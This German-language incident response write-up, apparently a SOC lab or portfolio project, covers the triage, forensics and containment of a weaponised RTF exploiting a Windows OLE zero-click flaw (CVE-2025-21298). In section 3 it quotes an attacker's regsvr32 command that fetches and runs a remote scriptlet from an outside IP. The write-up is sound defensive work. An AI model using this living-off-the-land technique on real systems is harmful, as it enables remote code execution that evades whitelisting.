Incident Response: Windows OLE Zero-Click RCE (CVE-2025-21298)

Projektübersicht

Dieses Projekt dokumentiert die End-to-End-Untersuchung und Eindämmung eines kritischen Zero-Click-Remote-Code-Execution-Angriffs (RCE). Mithilfe von EDR-Telemetrie und Threat Intelligence habe ich einen „Living off the Land“-Angriff (LotL) identifiziert, der automatisierte Verteidigungsmaßnahmen umging und eine Command-and-Control-Kommunikation (C2) aufbaute.

Hauptziele

• Priorisierung von High-Priority-SIEM-Alerts für Zero-Day-Exploits.
• Durchführung statischer Analysen von weaponisierten RTF-Anhängen.
• Durchführung von Endpoint-Forensik zur Identifizierung bösartiger Prozessbäume.
• Netzwerkisolation über EDR zur Eindämmung aktiver Bedrohungen.

---

Incident-Lifecycle-Umsetzung (NIST SP 800-61)

1. Erkennung & erste Sichtung

Ich habe Event ID 314 identifiziert: Windows OLE Zero-Click RCE Detection. Die erste Telemetrie zeigte, dass die bösartige Datei mail.rtf von den Perimeter-Verteidigungsmaßnahmen zugelassen wurde, was auf eine aktive Kompromittierung der Workstation „Austin“ hindeutet.

2. Statische Analyse & Threat Intelligence

Ich habe eine Reputationsprüfung des Datei-Hashs bei VirusTotal durchgeführt. Die Ergebnisse bestätigten eine Erkennungsrate von 25/55 und identifizierten die Datei eindeutig als weaponisiertes RTF, das CVE-2025-21298 ausnutzt. Diese Schwachstelle ermöglicht Remote-Code-Ausführung über den Windows-Vorschaubereich ohne Benutzerinteraktion.

3. Endpoint-Forensik (Jagd nach der Payload)

Ich bin zur EDR-Terminalhistorie des Hosts „Austin“ gewechselt, um das Post-Exploitation-Verhalten zu identifizieren. Dabei entdeckte ich eine bösartige Ausführung im Sinne von „Living off the Land“ (LotL):

• Befehl: regsvr32.exe /s /u /i:http://84.38.130.118/...
• Analysten-Einblick: Der Angreifer nutzte eine signierte Windows-Binärdatei (regsvr32.exe), um ein bösartiges Scriptlet von einem entfernten Server abzurufen und dabei Standard-Anwendungs-Whitelisting sowie herkömmliche AV-Signaturen zu umgehen.

4. Eindämmung & Neutralisierung

Gemäß dem NIST Incident Response Framework wurde die sofortige Eindämmung priorisiert. Ich habe eine Netzwerkisolation auf dem betroffenen Host durchgeführt, um die C2-Kommunikation zu beenden und laterale Bewegung innerhalb des Firmennetzwerks zu verhindern.

5. Abschluss & Abschlussbericht

Der Vorfall wurde als True Positive abgeschlossen. Ich habe die Angreifer-IP (84.38.130.118) und die forensischen Beweise für die Threat-Intelligence- und Firewall-Teams dokumentiert, um zukünftige Vorfälle zu verhindern.

---

Indicators of Compromise (IOCs)

Wichtigste Erkenntnisse

• Defense-in-Depth: Zero-Click-Exploits zeigen, warum signaturbasierte Antivirenlösungen für moderne Bedrohungen unzureichend sind.
• Log-Korrelation: Erfolgreiche Korrelation von SIEM-Alarmdaten mit EDR-Terminalprotokollen zur Bestätigung der aktiven Ausnutzung.
• EDR-Kompetenz: Geübte schnelle Host-Isolation zur Minimierung der „Verweildauer“ des Bedrohungsakteurs.